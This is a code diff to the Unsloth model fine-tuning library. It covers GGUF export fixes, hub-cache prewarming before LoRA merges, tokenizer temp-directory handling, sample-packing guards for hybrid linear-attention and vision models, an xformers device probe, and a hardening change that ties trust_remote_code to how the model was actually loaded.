@@ -2883,15 +3015,16 @@ def unsloth_save_pretrained_gguf(
                 "Unsloth: quantization_method can only be a string or a list of strings"
             )
         for i, quant_method in enumerate(quantization_method):
-            quant_method = quant_method.lower()
+            if quant_method is None:
+                quant_method = "q8_0"
+            else:
+                quant_method = quant_method.lower()
             if quant_method == "not_quantized":
                 quant_method = "f16"
             elif quant_method == "fast_quantized":
                 quant_method = "q8_0"
             elif quant_method == "quantized":
                 quant_method = "q4_k_m"
-            elif quant_method is None:
-                quant_method = "q8_0"
             quantization_methods.append(quant_method.lower())
 
     try:
@@ -3010,6 +3143,7 @@ def unsloth_push_to_hub_gguf(
     datasets: Optional[List[str]] = None,
     save_method: str = None,
     imatrix_file = None,
+    is_main_process: bool = True,
 ):
     """
     Same as .push_to_hub(...) except 4bit weights are auto
@@ -3042,11 +3176,11 @@ def unsloth_push_to_hub_gguf(
     """
     if tokenizer is None:
         raise ValueError("Unsloth: Saving to GGUF must have a tokenizer.")
+    if not is_main_process:
+        return None
 
     # save_method="lora" exports the adapter itself as a GGUF LoRA (not a merged model).
     if save_method is not None and str(save_method).lower() == "lora":
-        if not is_main_process:
-            return None  # only the main rank converts and uploads, like the local lora branch
         _qm = quantization_method
         if isinstance(_qm, (list, tuple)) and len(_qm) == 1:
             _qm = _qm[0]  # the gguf API allows a list; unwrap a single outtype
@@ -3100,6 +3234,7 @@ def unsloth_push_to_hub_gguf(
             first_conversion = first_conversion,
             push_to_hub = False,  # Never push from here
             token = token,  # forwarded so imatrix_file=True can read a gated/private upstream
+            is_main_process = is_main_process,
             max_shard_size = max_shard_size,
             safe_serialization = safe_serialization,
             temporary_location = temporary_location,
@@ -3532,7 +3667,9 @@ def _unsloth_save_lora_gguf(
             cmd += ["--base", base_model_id]
         else:
             cmd += ["--base-model-id", base_model_id]
-        if bool(getattr(model.config, "auto_map", None)):
+        # Only pass --trust-remote-code when the loaded model actually came from custom code (the
+        # approved load decision), not merely because its config carries an auto_map entry.
+        if _loaded_via_remote_code(model):
             cmd.append("--trust-remote-code")
 
         # Expose the token to the converter so it can fetch a gated/private base config from the Hub.
@@ -3647,6 +3784,182 @@ from unsloth_zoo.llama_cpp import (
 )
 
 
+def _prewarm_base_model_hub_cache(
+    model,
+    save_method = "merged_16bit",
+    token = None,
+):
+    """Download the 16-bit base weights into the persistent HF hub cache before the merge.
+
+    merge_and_overwrite_lora fetches missing shards with hf_hub_download(local_dir = ...),
+    which never populates the hub cache. When the merge directory is temporary (GGUF
+    checkpoint exports delete it after conversion), every export re-downloads the full
+    base model (#6890). Pre-warming the cache makes the first export download once and
+    later exports copy from the cache. Best-effort: any failure or skip falls back to
+    the streaming download. Disable with UNSLOTH_PREWARM_HUB_CACHE=0.
+    """
+    _false = ("0", "false", "no", "off")
+    if os.environ.get("UNSLOTH_PREWARM_HUB_CACHE", "1").strip().lower() in _false:
+        return
+    if IS_KAGGLE_ENVIRONMENT or IS_COLAB_ENVIRONMENT:
+        return
+    _true = ("1", "true", "yes", "on")
+    if (
+        os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in _true
+        or os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _true
+    ):
+        return
+    # Only the 16bit / mxfp4 merges download the base model; merged_4bit and lora do not.
+    if save_method not in ("merged_16bit", "mxfp4"):
+        return
+    if not isinstance(model, PeftModel):
+        return
+
+    try:
+        # getattr so a model without a config / _name_or_path skips instead of raising.
+        name_or_path = getattr(getattr(model, "config", None), "_name_or_path", None)
+        if not name_or_path:
+            return
+        try:
+            model_name = get_model_name(name_or_path, load_in_4bit = False)
+        except Exception:
+            model_name = name_or_path
+        if not model_name or os.path.isdir(model_name):
+            return  # local checkpoints are copied, never downloaded
+
+        # The merge may swap a gpt-oss "-BF16" repo for its MXFP4 variant, so skip it.
+        if save_method == "mxfp4" and model_name.endswith("-BF16"):
+            return
+
+        from unsloth_zoo.saving_utils import determine_base_model_source
+
+        model_name, is_local_path, _, base_is_quantized, quant_type = determine_base_model_source(
+            model_name, token
+        )
+        if not model_name or is_local_path:
+            return
+        # Mirror the merge: an FP8 base with a 16bit sibling merges onto the sibling, so
+        # pre-warm the sibling (what the merge downloads), not the FP8 repo (#6890).
+        if base_is_quantized and quant_type == "fp8" and save_method == "merged_16bit":
+            try:
+                from unsloth_zoo.saving_utils import _resolve_fp8_16bit_sibling
+                sibling = _resolve_fp8_16bit_sibling(model_name, token)
+            except Exception:
+                sibling = None
+            if sibling:
+                model_name, is_local_path, _, base_is_quantized, quant_type = (
+                    determine_base_model_source(sibling, token)
+                )
+                if not model_name or is_local_path:
+                    return
+        if base_is_quantized and quant_type in ("nf4", "fp4"):
+            return  # the 16bit merge refuses these bases; nothing worth caching
+
+        from huggingface_hub import HfFileSystem, hf_hub_download, snapshot_download
+
+        # Resolve the cache from the live env like the merge, not huggingface_hub's frozen
+        # constants: a runtime cache redirect (read-only default, Unsloth) would else miss (#6890).
+        try:
+            from unsloth_zoo.hf_cache import _active_caches
+            _hub_cache = _active_caches()[1]
+            hub_cache_dir = str(_hub_cache) if _hub_cache is not None else None
+        except Exception:
+            hub_cache_dir = None
+
+        # Mirror the zoo's shard listing (drop consolidated.safetensors when proper
+        # shards coexist) so the cached set is a superset of what the merge looks up.
+        shard_names = []
+        total_size_in_bytes = 0
+        for x in HfFileSystem(token = token).ls(model_name, detail = True):
+            if x["name"].endswith(".safetensors"):
+                shard_names.append((os.path.split(x["name"])[-1], int(x.get("size") or 0)))
+        if any(name != "consolidated.safetensors" for name, _ in shard_names):
+            shard_names = [x for x in shard_names if x[0] != "consolidated.safetensors"]
+        if not shard_names:
+            return
+
+        try:
+            for filename, _ in shard_names:
+                hf_hub_download(
+                    repo_id = model_name,
+                    filename = filename,
+                    cache_dir = hub_cache_dir,
+                    local_files_only = True,
+                    token = token,
+                )
+            return  # already fully cached
+        except Exception:
+            pass
+
+        # Mirror the merge's index filter (download path only): some repos ship leftover shards
+        # the index omits; keep only indexed ones, else the disk gate over-counts and we fetch
+        # unused shards.
+        if len(shard_names) > 1:
+            try:
+                import json as _json
+
+                _idx = hf_hub_download(
+                    repo_id = model_name,
+                    filename = "model.safetensors.index.json",
+                    cache_dir = hub_cache_dir,
+                    token = token,
+                )
+                with open(_idx, encoding = "utf-8") as _f:
+                    _indexed = {
+                        os.path.split(v)[-1] for v in _json.load(_f).get("weight_map", {}).values()
+                    }
+                if _indexed and not {n for n, _ in shard_names}.issubset(_indexed):
+                    _kept = [x for x in shard_names if x[0] in _indexed]
+                    if _kept:
+                        shard_names = _kept
+            except Exception:
+                pass
+        total_size_in_bytes = sum(size for _, size in shard_names)
+
+        # The cache copy is extra disk on top of the merge working copy; need room for both.
+        from huggingface_hub import constants as _hf_constants
+
+        # abspath so a relative HF_HUB_CACHE walks up to an existing root, not "".
+        cache_probe = os.path.abspath(
+            os.path.expanduser(str(hub_cache_dir or _hf_constants.HF_HUB_CACHE))
+        )
+        while cache_probe and not os.path.exists(cache_probe):
+            parent = os.path.dirname(cache_probe)
+            if parent == cache_probe:
+                break
+            cache_probe = parent
+        free_space = shutil.disk_usage(cache_probe).free if os.path.exists(cache_probe) else 0
+        if free_space < 2 * total_size_in_bytes:
+            print(
+                f"Unsloth: Not enough free disk to keep `{model_name}` in the Hugging Face "
+                f"cache (need ~{round(2 * total_size_in_bytes / 1024**3, 1)}GB free, have "
+                f"{round(free_space / 1024**3, 1)}GB). Downloading straight to the merge "
+                f"directory instead; the next export will re-download it."
+            )
+            return
+
+        if total_size_in_bytes >= 0.1 * 1024**3:
+            size_str = f"{round(total_size_in_bytes / 1024**3, 1)}GB"
+        else:
+            size_str = f"{max(1, round(total_size_in_bytes / 1024**2))}MB"
+        print(
+            f"Unsloth: Downloading `{model_name}` into the Hugging Face cache so future "
+            f"exports skip the {size_str} download..."
+        )
+        snapshot_download(
+            repo_id = model_name,
+            allow_patterns = [name for name, _ in shard_names]
+            + ["model.safetensors.index.json", "tokenizer.model"],
+            cache_dir = hub_cache_dir,
+            token = token,
+        )
+    except Exception as e:
+        print(
+            f"Unsloth: Could not pre-cache the base model weights ({e}). "
+            f"Falling back to downloading into the merge directory."
+        )
+
+
 @torch.inference_mode
 def save_to_gguf_generic(
     model,
@@ -3682,15 +3995,16 @@ def save_to_gguf_generic(
                 "Unsloth: quantization_method can only be a string or a list of strings"
             )
         for i, quant_method in enumerate(quantization_method):
-            quant_method = quant_method.lower()
+            if quant_method is None:
+                quant_method = "q8_0"
+            else:
+                quant_method = quant_method.lower()
             if quant_method == "not_quantized":
                 quant_method = "f16"
             elif quant_method == "fast_quantized":
                 quant_method = "q8_0"
             elif quant_method == "quantized":
                 quant_method = "q4_k_m"
-            elif quant_method is None:
-                quant_method = "q8_0"
             new_quantization_methods.append(quant_method.lower())
     else:
         new_quantization_methods.append(quantization_type.lower())
@@ -3841,6 +4155,7 @@ def unsloth_generic_save(
 
         print(f"Unsloth: Model saved successfully to '{save_directory}'")
     else:
+        _prewarm_base_model_hub_cache(model, save_method = save_method, token = token)
         merge_and_overwrite_lora(
             get_model_name,
             model = model,
@@ -4387,8 +4702,8 @@ def _unsloth_save_compressed_tensors(
         )
         unsloth_generic_save(**merge_args)
 
-        # 4) Detect VLM + trust_remote_code from the in-memory model config. A vision/multimodal
-        #    model exposes a vision_config or an explicitly vision-named architecture; a bare
+        # 4) Detect VLM from the in-memory model config. A vision/multimodal model exposes a
+        #    vision_config or an explicitly vision-named architecture; a bare
         #    *ForConditionalGeneration also matches text seq2seq models (T5/BART/Whisper), so it
         #    is not treated as a VLM on its own.
         is_vlm = False
@@ -4402,9 +4717,13 @@ def _unsloth_save_compressed_tensors(
                 "Unsloth: FP8/FP4 compressed export for vision / multimodal models is "
                 "experimental; vision-tower layers may be affected."
             )
-        trust_remote_code = (
-            bool(getattr(model.config, "auto_map", None)) if hasattr(model, "config") else False
-        )
+        # trust_remote_code must reflect the approved load decision (whether the model / tokenizer
+        # was actually loaded from custom code), not the config's static auto_map, so a
+        # built-in-loadable model carrying auto_map cannot run unvetted code in the subprocess.
+        # Model and tokenizer trust stay separate, like the torchao path: an approved custom
+        # tokenizer must not enable an unapproved model's code in the subprocess (or vice versa).
+        model_trust = _loaded_via_remote_code(model)
+        tok_trust = _loaded_via_remote_code(tokenizer)
 
         # 5) Marshal the calibration dataset for the subprocess: None -> ultrachat default; a
         #    str/PathLike is a local save_to_disk dir if it exists else a Hub id; Dataset -> temp.
@@ -4479,8 +4798,10 @@ def _unsloth_save_compressed_tensors(
             cmd += ["--calibration-dataset", calib_value]
         if is_vlm:
             cmd.append("--is-vlm")
-        if trust_remote_code:
+        if model_trust:
             cmd.append("--trust-remote-code")
+        if tok_trust:
+            cmd.append("--trust-remote-code-tokenizer")
         if variant:
             cmd += ["--variant", variant]
 
@@ -4679,35 +5000,19 @@ def _unsloth_save_torchao(
         )
         unsloth_generic_save(**merge_args)
 
-        # 2) Detect VLM + trust_remote_code so the right auto class reloads the staged checkpoint.
-        #    A bare *ForConditionalGeneration also matches text seq2seq (T5/BART/Whisper), so key off
-        #    vision_config / a vision-named architecture only, like the compressed path.
+        # 2) Detect VLM + reload class. A bare *ForConditionalGeneration also matches text seq2seq
+        #    (T5/BART/Whisper), so key off vision_config / a vision-named architecture only.
         is_vlm = False
-        trust_remote_code = False
         if hasattr(model, "config"):
             archs = getattr(model.config, "architectures", None) or []
             is_vlm = hasattr(model.config, "vision_config") or any(
                 x.endswith("ForVisionText2Text") for x in archs
             )
-            trust_remote_code = bool(getattr(model.config, "auto_map", None))
-        # Custom code can be declared only in the tokenizer/processor config, so also honor an
-        # auto_map in any staged config (the original load already had the user's consent).
-        if not trust_remote_code:
-            for _cfg in (
-                "config.json",
-                "tokenizer_config.json",
-                "processor_config.json",
-                "preprocessor_config.json",
-            ):
-                try:
-                    _p = os.path.join(staging, _cfg)
-                    if os.path.exists(_p):
-                        with open(_p, "r", encoding = "utf-8") as _f:
-                            if "auto_map" in json.load(_f):
-                                trust_remote_code = True
-                                break
-                except Exception:
-                    pass
+        # trust_remote_code must reflect the approved load decision - whether the in-memory model /
+        # tokenizer was itself loaded from custom code - not the staged config's auto_map, which an
+        # attacker can set on a built-in-loadable model to run unvetted code past the consent gate.
+        model_trust = _loaded_via_remote_code(model)
+        tok_trust = _loaded_via_remote_code(tokenizer)
         # Reload with the class that matches the checkpoint: an image-text VLM class (with a
         # fallback for older Transformers that lack AutoModelForImageTextToText); the model's own
         # architecture class for encoder-decoder seq2seq (T5/BART/Whisper are not causal LMs, and
@@ -4766,12 +5071,10 @@ def _unsloth_save_torchao(
             staging,
             device_map = "auto",
             quantization_config = TorchAoConfig(quant_type = quant_type),
-            trust_remote_code = trust_remote_code,
+            trust_remote_code = model_trust,
             **dtype_kw,
         )
-        staged_tokenizer = auto_processor.from_pretrained(
-            staging, trust_remote_code = trust_remote_code
-        )
+        staged_tokenizer = auto_processor.from_pretrained(staging, trust_remote_code = tok_trust)
 
         quantized_model.save_pretrained(out_dir, safe_serialization = safe_serialization)
         staged_tokenizer.save_pretrained(out_dir)
diff --git a/unsloth/tokenizer_utils.py b/unsloth/tokenizer_utils.py
index 93dfa9b2ad..c7f61288d5 100644
--- a/unsloth/tokenizer_utils.py
+++ b/unsloth/tokenizer_utils.py
@@ -17,6 +17,9 @@ from transformers.convert_slow_tokenizer import convert_slow_tokenizer
 from transformers import PreTrainedTokenizerFast
 import re
 import os
+import shutil
+import tempfile
+import weakref
 from transformers.models.llama.modeling_llama import logger
 from peft import PeftModelForCausalLM
 import torch
@@ -370,13 +373,19 @@ def fix_sentencepiece_tokenizer(
     if not os.path.exists(temporary_location):
         os.makedirs(temporary_location)
 
-    # Check if tokenizer.model exists
-    if not os.path.isfile(f"{temporary_location}/tokenizer.model"):
-        return new_tokenizer
+    # Fresh per-call subdir so concurrent/repeated calls can't clobber each other's
+    # tokenizer.model or leak stale files, without deleting anything the caller owns.
+    temporary_location = tempfile.mkdtemp(prefix = "tokenizer_", dir = temporary_location)
 
     # First save the old tokenizer
     old_tokenizer.save_pretrained(temporary_location)
 
+    # Only sentencepiece tokenizers write tokenizer.model, so check after the save.
+    if not os.path.isfile(f"{temporary_location}/tokenizer.model"):
+        # new_tokenizer was built in memory and never references this dir, so drop it.
+        shutil.rmtree(temporary_location, ignore_errors = True)
+        return new_tokenizer
+
     tokenizer_file = sentencepiece_model_pb2.ModelProto()
     tokenizer_file.ParseFromString(open(f"{temporary_location}/tokenizer.model", "rb").read())
 
@@ -414,6 +423,9 @@ def fix_sentencepiece_tokenizer(
         eos_token = new_tokenizer.eos_token,
         pad_token = new_tokenizer.pad_token,
     )
+    # vocab_file points here, so the dir must outlive the tokenizer (a later
+    # save_pretrained copies the patched tokenizer.model from it); reclaim it on GC.
+    weakref.finalize(tokenizer, shutil.rmtree, temporary_location, ignore_errors = True)
     return tokenizer
 
 
@@ -563,8 +575,11 @@ def _load_correct_tokenizer(
         # /tmp of Kaggle seems has a 80GB limit!
         # Let's utilize them
         cache_dir = os.path.join(KAGGLE_TMP, cache_dir)
-    else:
+    elif cache_dir == "huggingface_tokenizers_cache":
+        # This default name is Colab/Kaggle-only; elsewhere use the HF default cache.
         cache_dir = None
+    # else: keep a caller-supplied cache_dir so the tokenizer loads from the prefetch-warmed dir instead
+    # of risking an in-process Hub/Xet transfer.
 
     # Try loading the slow tokenizer. If it fails, then try Fast only
     # Mainly to solve Deepseek models with no tokenizer.model file
@@ -1323,6 +1338,7 @@ def check_tokenizer(
     padding_side = "right",
     token = None,
     _reload = True,
+    cache_dir = None,
 ):
     # Checks tokenizer for out of bounds ids.
     # Mainly a fix for https://huggingface.co/berkeley-nest/Starling-LM-7B-alpha
@@ -1413,10 +1429,11 @@ def check_tokenizer(
                     f"Fix your tokenizer since it'll perform out of bounds memory accesses."
                 )
 
-            if IS_COLAB_ENVIRONMENT or IS_KAGGLE_ENVIRONMENT:
-                cache_dir = "huggingface_tokenizers_cache"
-            else:
-                cache_dir = None
+            # Reuse a caller-supplied cache_dir (warmed cache) for the repair reload; else the
+            # Colab/Kaggle sentinel (HF default elsewhere), as load_correct_tokenizer does.
+            reload_cache_dir = cache_dir
+            if reload_cache_dir is None and (IS_COLAB_ENVIRONMENT or IS_KAGGLE_ENVIRONMENT):
+                reload_cache_dir = "huggingface_tokenizers_cache"
 
             # Sometimes slow tokenizer does not work like Deepseek
             try:
@@ -1430,7 +1447,7 @@ def check_tokenizer(
                     use_fast = False,
                     legacy = False,
                     from_slow = True,
-                    cache_dir = cache_dir,
+                    cache_dir = reload_cache_dir,
                 )
                 return check_tokenizer(
                     model = model,
@@ -1440,6 +1457,7 @@ def check_tokenizer(
                     padding_side = padding_side,
                     token = token,
                     _reload = False,
+                    cache_dir = cache_dir,
                 )
                 break
             except:
@@ -1458,7 +1476,7 @@ def get_tokenizer_info(tokenizer) -> dict:
     """Return a concise diagnostic summary of a tokenizer instance.
 
     Collects key properties into a JSON-safe dict for logging, debugging, or the
-    Studio UI. Missing attributes fall back to ``None`` rather than raising.
+    Unsloth UI. Missing attributes fall back to ``None`` rather than raising.
 
     Example output::
 
diff --git a/unsloth/trainer.py b/unsloth/trainer.py
index 83cb1758f0..1c30192301 100644
--- a/unsloth/trainer.py
+++ b/unsloth/trainer.py
@@ -17,6 +17,7 @@ import os
 import psutil
 import warnings
 from dataclasses import dataclass, field
+from types import SimpleNamespace
 from typing import Optional, List
 from functools import wraps
 
@@ -32,6 +33,7 @@ from unsloth.utils import (
     enable_padding_free_metadata,
     enable_sample_packing,
 )
+from unsloth.utils.packing import patch_hybrid_linear_attention_varlen
 from unsloth_zoo.training_utils import (
     unsloth_train as _unsloth_train,
 )
@@ -100,6 +102,10 @@ PADDING_FREE_BLOCKLIST = {
     "gemma2",  # - gemma2:  Uses slow_attention_softcapping which has torch.compile issues
     "gpt_oss",  # - gpt_oss: Uses Flex Attention which doesn't handle padding_free correctly
 }
+# Hybrid linear-attention / state-space models (Qwen3.5, Qwen3-Next, ...) carry a
+# recurrent gated-delta state plus a causal conv1d that leak across sequence
+# boundaries once packing flattens the batch. Detected structurally by
+# _is_hybrid_linear_attention_model, not by model name.
 
 
 def _should_pack(config) -> bool:
@@ -137,6 +143,183 @@ def _should_skip_auto_packing_error(exc: Exception) -> bool:
     return any(msg in message for msg in _AUTO_PACK_SKIP_MESSAGES)
 
 
+_VISION_DATASET_KEYS = frozenset(
+    {
+        "image",
+        "images",
+        "image_grid_thw",
+        "image_position_ids",
+        "image_sizes",
+        "mm_token_type_ids",
+        "pixel_attention_mask",
+        "pixel_position_ids",
+        "pixel_values",
+        "pixel_values_videos",
+        "video",
+        "videos",
+        "video_grid_thw",
+    }
+)
+
+
+def _is_vlm_config(config, model_types = ()) -> bool:
+    if any(
+        hasattr(config, attr)
+        for attr in ("vision_config", "img_processor", "image_token_index", "projector_config")
+    ):
+        return True
+
+    architectures = getattr(config, "architectures", None) or ()
+    try:
+        from transformers.models.auto import modeling_auto
+
+        mappings = (
+            getattr(modeling_auto, "MODEL_FOR_IMAGE_TEXT_TO_TEXT_MAPPING_NAMES", {}) or {},
+            getattr(modeling_auto, "MODEL_FOR_VISION_2_SEQ_MAPPING_NAMES", {}) or {},
+        )
+        registry_types = set().union(*(mapping.keys() for mapping in mappings))
+        registry_classes = set().union(*(mapping.values() for mapping in mappings))
+        config_types = set(model_types or ())
+        model_type = getattr(config, "model_type", None)
+        if model_type is not None:
+            config_types.add(model_type)
+        if not config_types.isdisjoint(registry_types) or any(
+            architecture in registry_classes for architecture in architectures
+        ):
+            return True
+    except Exception:
+        pass
+    return any(
+        isinstance(architecture, str) and architecture.endswith("ForVisionText2Text")
+        for architecture in architectures
+    )
+
+
+def _is_vision_dataset(dataset, *, unknown_is_vision = False) -> bool:
+    if dataset is None:
+        return False
+    column_names = getattr(dataset, "column_names", None)
+    if column_names is not None:
+        return not _VISION_DATASET_KEYS.isdisjoint(column_names)
+    # Unknown-schema streams cannot be safely probed without potentially dropping a sample.
+    return unknown_is_vision
+
+
+def _is_vision_eval_dataset(dataset, *, unknown_is_vision = False) -> bool:
+    if isinstance(dataset, dict):
+        return any(
+            _is_vision_dataset(split, unknown_is_vision = unknown_is_vision)
+            for split in dataset.values()
+        )
+    return _is_vision_dataset(dataset, unknown_is_vision = unknown_is_vision)
+
+
+_HYBRID_CONFIG_MARKERS = (
+    "linear_conv_kernel_dim",
+    "linear_key_head_dim",
+    "linear_value_head_dim",
+    "full_attention_interval",
+)
+
+
+def _is_hybrid_linear_attention_model(model) -> bool:
+    """Detect models mixing linear-attention / state-space mixers (gated-delta,
+    Mamba-style) with a causal conv1d, e.g. Qwen3.5 / Qwen3-Next. Packing and
+    padding-free flatten the batch, and those recurrent + conv ops leak state
+    across sequence boundaries, so they must not be packed. Uses composite
+    structural evidence rather than a model-name match."""
+    if model is None:
+        return False
+
+    # Config-level: explicit hybrid layer schedule or linear-attn markers.
+    for config in (
+        getattr(model, "config", None),
+        getattr(getattr(model, "config", None), "text_config", None),
+    ):
+        if config is None:
+            continue
+        layer_types = getattr(config, "layer_types", None)
+        if isinstance(layer_types, (list, tuple)) and any(
+            isinstance(t, str) and "linear_attention" in t for t in layer_types
+        ):
+            return True
+        if any(hasattr(config, marker) for marker in _HYBRID_CONFIG_MARKERS):
+            return True
+
+    # Module-level: a mixer carrying a recurrent gated-delta op plus a conv1d.
+    named_modules = getattr(model, "named_modules", None)
+    if named_modules is None:
+        return False
+    seen = set()
+    for _, module in named_modules():
+        if id(module) in seen:
+            continue
+        seen.add(id(module))
+        cls = type(module).__name__
+        if not (
+            cls.endswith("GatedDeltaNet") or "LinearAttention" in cls or cls.endswith("Mamba2Mixer")
+        ):
+            continue
+        has_recurrent = any(
+            hasattr(module, attr)
+            for attr in ("chunk_gated_delta_rule", "recurrent_gated_delta_rule", "A_log")
+        )
+        if has_recurrent and hasattr(module, "conv1d"):
+            return True
+    return False
+
+
+def _resolve_string_model_config(model_name, config_arg):
+    """TRL materializes a string ``model=`` inside ``__init__``; resolve its config
+    up front so the packing guards run before the dataset is packed. Best-effort:
+    returns None if the config cannot be loaded."""
+    try:
+        from transformers import AutoConfig
+
+        init_kwargs = getattr(config_arg, "model_init_kwargs", None) or {}
+        # why: forward auth + cache args too. Dropping token/use_auth_token made a
+        # private hybrid fail to load (resolve as None) -> treated as non-hybrid ->
+        # packing enabled without the shim even though TRL later loads it with the token.
+        forward = {
+            key: init_kwargs[key]
+            for key in (
+                "trust_remote_code",
+                "revision",
+                "subfolder",
+                "token",
+                "use_auth_token",
+                "cache_dir",
+                "code_revision",
+            )
+            if key in init_kwargs
+        }
+        # why: TRL merges top-level args.trust_remote_code into the load via setdefault
+        # before create_model_from_path, so honor it here (model_init_kwargs wins), else
+        # a remote-code hybrid with SFTConfig(trust_remote_code=True) resolves as None
+        # and skips the guard.
+        top_level_trust_remote_code = getattr(config_arg, "trust_remote_code", None)
+        if top_level_trust_remote_code is not None:
+            forward.setdefault("trust_remote_code", top_level_trust_remote_code)
+        return AutoConfig.from_pretrained(model_name, **forward)
+    except Exception:
+        return None
+
+
+def _chunked_loss_bypasses_forward(config) -> bool:
+    """TRL's default ``loss_type="chunked_nll"`` patches the model forward and calls
+    the backbone directly, so a forward wrapper never runs. Detect it so hybrid
+    packing stays on the padded path instead of silently skipping the varlen shim."""
+    try:
+        import trl.trainer.sft_trainer as _sft_trainer
+    except Exception:
+        return False
+    if not hasattr(_sft_trainer, "_patch_chunked_ce_lm_head"):
+        return False  # TRL has no chunked-CE path -> forward is not bypassed
+    if getattr(config, "use_liger_kernel", False):
+        return False  # liger forces loss_type="nll" -> normal forward
+    return getattr(config, "loss_type", None) in (None, "chunked_nll")
+
+
 # Unsloth gradient accumulation fix:
 from transformers import __version__ as transformers_version, ProcessorMixin
 
@@ -498,30 +681,69 @@ def _patch_sft_trainer_auto_packing(trl_module):
         else:
             config_arg = kwargs.get("args")
 
-        model = kwargs.get("model")
-        is_unsupported_model = False
+        model = args[0] if len(args) >= 1 else kwargs.get("model")
         is_vlm = False
+        is_unsupported_model = False
+        is_hybrid = False
+        is_encoder_decoder = False
+        hybrid_varlen_active = False
         if model is not None:
             model_config = getattr(model, "config", None)
+            if model_config is None and isinstance(model, str):
+                # TRL builds a string model inside __init__; resolve its config now.
+                model_config = _resolve_string_model_config(model, config_arg)
             if model_config is not None:
                 model_types = get_transformers_model_type(model_config)
                 is_unsupported_model = any(x in PADDING_FREE_BLOCKLIST for x in model_types)
+                is_vlm = _is_vlm_config(model_config, model_types)
+                is_encoder_decoder = bool(getattr(model_config, "is_encoder_decoder", False))
+            hybrid_target = (
+                SimpleNamespace(config = model_config)
+                if isinstance(model, str) and model_config is not None
+                else model
+            )
+            is_hybrid = _is_hybrid_linear_attention_model(hybrid_target)
+            # Hybrid models corrupt packed batches unless the gated-delta conv + scan
+            # reset at sequence boundaries. Enable the experimental varlen shim (flag +
+            # kernels) so packing stays correct, else keep them blocked. A string model
+            # (patched only after init) and TRL's chunked-loss forward bypass both leave
+            # the shim off, so hybrid packing falls back to the padded path.
+            if (
+                is_hybrid
+                and not isinstance(model, str)
+                and not _chunked_loss_bypasses_forward(config_arg)
+            ):
+                try:
+                    hybrid_varlen_active = patch_hybrid_linear_attention_varlen(model)
+                except Exception:
+                    hybrid_varlen_active = False
 
-                architectures = getattr(model_config, "architectures", None)
-                if architectures is None:
-                    architectures = []
-                is_vlm = any(x.endswith("ForConditionalGeneration") for x in architectures)
-                is_vlm = is_vlm or hasattr(model_config, "vision_config")
-
-        processing_class = kwargs.get("processing_class") or kwargs.get("tokenizer")
-        data_collator = kwargs.get("data_collator")
+        processing_class = (
+            args[5] if len(args) >= 6 else kwargs.get("processing_class") or kwargs.get("tokenizer")
+        )
+        data_collator = args[2] if len(args) >= 3 else kwargs.get("data_collator")
+        train_dataset = args[3] if len(args) >= 4 else kwargs.get("train_dataset")
+        eval_dataset = args[4] if len(args) >= 5 else kwargs.get("eval_dataset")
+        is_processor = isinstance(processing_class, ProcessorMixin)
+        is_auto_processor_vlm = is_vlm and processing_class is None
+        is_vision_dataset = (
+            data_collator is None
+            and not is_processor
+            and (
+                _is_vision_dataset(train_dataset, unknown_is_vision = is_vlm)
+                or _is_vision_eval_dataset(eval_dataset, unknown_is_vision = is_vlm)
+            )
+        )
 
         # Disable padding-free for VLMs / custom collators / blocklisted models
         blocked = (
             (data_collator is not None)
-            or isinstance(processing_class, ProcessorMixin)
-            or is_vlm
+            or is_processor
+            or is_auto_processor_vlm
+            or is_vision_dataset
             or is_unsupported_model
+            or is_encoder_decoder
+            or (is_hybrid and not hybrid_varlen_active)
             or (
                 os.environ.get("UNSLOTH_RETURN_LOGITS", "0") == "1"
             )  # Disable padding free on forced logits
@@ -535,10 +757,16 @@ def _patch_sft_trainer_auto_packing(trl_module):
 
         if blocked and requested_pack:
             reason = "custom data collator"
-            if data_collator is None and isinstance(processing_class, ProcessorMixin):
+            if data_collator is None and is_processor:
                 reason = "processor-based model"
-            elif is_vlm:
-                reason = "vision-language model"
+            elif is_auto_processor_vlm:
+                reason = "vision-language model with auto processor"
+            elif is_vision_dataset:
+                reason = "vision dataset"
+            elif is_encoder_decoder:
+                reason = "encoder-decoder model"
+            elif is_hybrid and not hybrid_varlen_active:
+                reason = "hybrid linear-attention model"
             elif is_unsupported_model:
                 reason = f"unsupported model type(s): {', '.join(model_types)}"
             message = f"Unsloth: Sample packing skipped ({reason} detected)."
diff --git a/unsloth/utils/attention_dispatch.py b/unsloth/utils/attention_dispatch.py
index 2e984bad0a..eda6103d5b 100644
--- a/unsloth/utils/attention_dispatch.py
+++ b/unsloth/utils/attention_dispatch.py
@@ -17,6 +17,7 @@
 
 from __future__ import annotations
 
+import os
 from dataclasses import dataclass
 from typing import Any, Optional, Tuple
 
@@ -34,14 +35,57 @@ if HAS_FLASH_ATTENTION:
     from flash_attn import flash_attn_func, flash_attn_varlen_func
 HAS_XFORMERS = xformers is not None
 
-# xformers kernels (FA3, FA2, cutlass) only support compute capability <= 9.0.
-# Disable xformers on newer GPUs (e.g. RTX 5070 Ti / sm_120) and fall back to SDPA.
-if HAS_XFORMERS and torch.cuda.is_available():
-    _cc = torch.cuda.get_device_capability()
-    if _cc[0] >= 12:
+
+def _xformers_runs_on_device() -> bool:
+    """One tiny attention forward; True iff the xformers kernel actually runs here."""
+    try:
+        # Pre-Ampere GPUs (sm < 80: Turing/Volta) have no bfloat16 attention kernel
+        # but run xformers fine in float16, so pick the dtype the device supports.
+        dtype = torch.bfloat16 if SUPPORTS_BFLOAT16 else torch.float16
+        q = torch.zeros((1, 8, 1, 64), device = "cuda", dtype = dtype)
+        attn_bias = xformers.attn_bias.BlockDiagonalCausalMask.from_seqlens([8])
+        xformers_attention(q, q, q, attn_bias = attn_bias)
+        # Launches are async; synchronize so a deferred kernel failure fails the probe here.
+        torch.cuda.synchronize()
+        return True
+    except Exception:
+        return False
+
+
+def _xformers_disabled_for_capability(capability, probe = _xformers_runs_on_device) -> bool:
+    # At sm_120 (RTX 50-series) xformers' cutlass op is capability-rejected (caps at
+    # sm_90) and its flash-2 op runs only if the build ships an sm_120 kernel, so run
+    # one real forward to decide. Below sm_120 xformers always works; skip the probe.
+    if capability[0] < 12:
+        return False
+    return not probe()
+
+
+# FlashAttention always wins in select_attention_backend and nothing downgrades
+# flash -> xformers, so when it's installed xformers is never selected: skip the probe.
+if HAS_XFORMERS and not HAS_FLASH_ATTENTION and torch.cuda.is_available():
+    if _xformers_disabled_for_capability(torch.cuda.get_device_capability()):
         HAS_XFORMERS = False
+
+# On sm_100+ (B200, sm_120) xformers' fp32-capable cutlass op is capability-rejected and
